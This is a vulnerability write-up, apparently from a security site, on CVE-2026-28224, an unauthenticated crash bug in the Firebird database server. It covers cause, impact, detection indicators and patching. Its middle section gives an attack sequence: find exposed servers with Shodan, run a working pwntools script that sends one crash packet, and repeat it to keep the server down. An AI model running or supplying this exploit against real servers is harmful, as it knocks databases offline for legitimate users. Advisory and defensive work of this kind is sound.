CVE-2026-28224: 
NixOS vulnerability analysis and mitigation

CVE-2026-28224 is a NULL Pointer Dereference vulnerability in the Firebird open-source relational database management system that allows unauthenticated remote attackers to crash the server. When the server receives an op_crypt_key_callback (opcode 0x61) packet without prior authentication, the port_server_crypt_callback handler is uninitialized, triggering a null pointer dereference and server crash. Affected versions include all Firebird 3.x before 3.0.14, 4.x before 4.0.7, and 5.x before 5.0.4. The vulnerability was disclosed on April 17, 2026, and carries a CVSS v3.1 base score of 8.2 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is classified as CWE-476 (NULL Pointer Dereference). Firebird's network protocol handler does not enforce authentication before processing the op_crypt_key_callback packet (opcode 0x61). When this packet is received pre-authentication, the port_server_crypt_callback function pointer has not been initialized, and the server attempts to dereference it, causing an immediate crash. The attack requires no credentials, no user interaction, and only knowledge of the target's IP address and Firebird port (default: TCP/3050). Public PoC scripts using the Python pwntools library demonstrate both a minimal single-packet trigger and a full-fledged crafted request (GitHub Advisory).

Successful exploitation results in an immediate denial of service — the Firebird database server process crashes, making all hosted databases unavailable to legitimate users and applications. There is no confidentiality or significant integrity impact beyond a minor integrity rating in the CVSS score. Because the crash can be triggered repeatedly with a single small packet, an attacker can sustain a persistent denial-of-service condition against any internet-exposed or network-accessible Firebird instance (GitHub Advisory, Red Hat Bugzilla).

Public proof-of-concept exploit code is available in the official GitHub security advisory, consisting of two runnable Python scripts using pwntools that send a crafted opcode packet to trigger the crash (GitHub Advisory). As of the time of reporting, there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.0011 (0.11%), indicating a currently low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Nessus detection plugins (IDs 307403 and 315043) are available for scanning (Feedly).

1. Reconnaissance: Identify internet-facing or network-accessible Firebird database servers using tools like Shodan or Censys, searching for the default Firebird port TCP/3050. Confirm the target is running a vulnerable version (Firebird < 3.0.14, < 4.0.7, or < 5.0.4).
2. Prepare exploit environment: Install Python and the pwntools library (pip install pwntools).
3. Send malicious packet: Execute the minimal PoC script targeting the server's IP and port:

from pwn import *
import struct
p = remote('<target_ip>', 3050)
op0x50 = struct.pack(">I", 0x61)
p.send(op0x50)
p.close()

4. Trigger crash: The server receives the op_crypt_key_callback opcode (0x61) without a prior authenticated session, attempts to invoke the uninitialized port_server_crypt_callback handler, dereferences a null pointer, and crashes immediately.
5. Sustain DoS: Repeat the packet transmission as needed to prevent server recovery, maintaining a persistent denial-of-service condition (GitHub Advisory).

• Network: Repeated inbound TCP connections to port 3050 from unexpected or external IP addresses; connections that send a 4-byte payload (0x00 0x00 0x00 0x61) and immediately close without completing a normal Firebird handshake.
• Logs: Firebird server logs showing unexpected process termination or crash events; operating system logs (e.g., Windows Event Log, Linux syslog/journald) recording the Firebird service crashing or restarting repeatedly.
• Process: Unexpected termination and restart of the fbserver or fbguard process; absence of normal Firebird service availability following network activity on port 3050 (GitHub Advisory).

Upgrade Firebird to a patched version: 3.0.14, 4.0.7, or 5.0.4 (or later), depending on the currently deployed major version (GitHub v3.0.14, GitHub v4.0.7, GitHub v5.0.4). As an interim workaround prior to patching, restrict network access to the Firebird port (TCP/3050) using firewall rules or network segmentation, allowing only trusted client IP addresses to connect. Avoid exposing Firebird directly to the internet; place it behind a VPN or private network boundary (GitHub Advisory).

Heise Online (German tech media) published coverage of the vulnerability, noting it as a significant threat to Firebird deployments (Heise). SUSE issued a security update announcement (SUSE-SU-2026:1868-1) addressing this and related Firebird issues for its Linux distributions. The broader security community reaction has been moderate, with automated vulnerability tracking services (VulnDB, CIRCL, cvefeed.io) picking up the advisory shortly after disclosure.